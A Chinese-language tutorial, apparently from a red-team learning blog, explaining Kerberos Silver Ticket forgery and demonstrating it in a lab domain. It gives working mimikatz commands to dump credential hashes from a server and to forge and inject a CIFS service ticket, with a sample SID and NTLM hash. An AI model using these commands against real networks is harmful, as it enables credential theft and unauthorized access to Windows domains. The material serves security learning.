目录
0x01 介绍
0x02 白银票据利用
0x01 介绍
之前,我们已经详细说过Kerberos认证的流程,这次我们就来说说如何对其进行利用,这次主要说的是白银票据伪造(Silver Tickets)
白银票据伪造利用的是Kerberos认证中的第三个步骤,在第三步的时候,client会带着ticket向server的某个服务进行请求,如果验证通过就可以访问server上的指定服务了,这里ticket的格式是这样的:
Server hash(server session key + client info + end time)
其中client info我们是很清楚的,end time也可以根据自己当前的时间进行伪造,server session key是TGS生成的,在未向server发送ticket的时候,server也是不知道server session key是什么的,所以只要我们知道server hash就可以去访问server中的指定服务了。
其实与其说这是一种利用方式,倒不如说这是一个后门,在拥有server hash的时候,可以随时去请求server。
根据上面的攻击流程总结以下白银票据的攻击特点:
1.不需要与KDC进行交互
2.需要server的NTLM hash
0x02 白银票据利用
DC 192.168.6.112
Client 192.168.6.113
WIN7-CLIENT.zhujian.com
Server 192.168.6.114
WIN7-SERVER.zhujian.com
这里我们使用文件共享的方式来进行验证
输入\\WIN7-SERVER.zhujian.com\c$
进行验证
发现需要输入密码才能进行连接
然后我们使用mimikatz去Server中导出hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
可以发现已经获取到了hash等各种信息
然后回到client中使用mimikatz来伪造票据
命令如下
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt" exit
其中的信息可以这样获得
SID不需要填最后的 -500
注:这里的目标服务器主机名不能用这里hostname
的内容,而是要写全称
服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造
其中的用户名可以随便写,这个是不受影响的,因为在数据传过去之前server是不知道用户名的,对于传输流程还不太熟悉的,可以移步《Windows认证 | 域认证》
所以最后得到的信息是这样的
mimikatz.exe "kerberos::golden /domain:zhujian.com /sid:S-1-5-21-829259175-2571685386-1296789624 /target: WIN7-SERVER.zhujian.com /service:cifs /rc4:e467173f3c80e9f23084396625486f60 /user: secquan /ptt" exit
然后再一次进行测试
已经可以成功访问了
如果对Windows认证有兴趣的可以看一下下面的几篇文章来学习一下《Windows认证 | Windows本地认证》、《Windows认证 | 网络认证》、《Windows认证 | 域认证》、《SPN扫描》、《Kerberoasting攻击》
文章首发公众号:无心的梦呓(wuxinmengyi)
这是一个记录红队学习、信安笔记,个人成长的公众号
扫码关注即可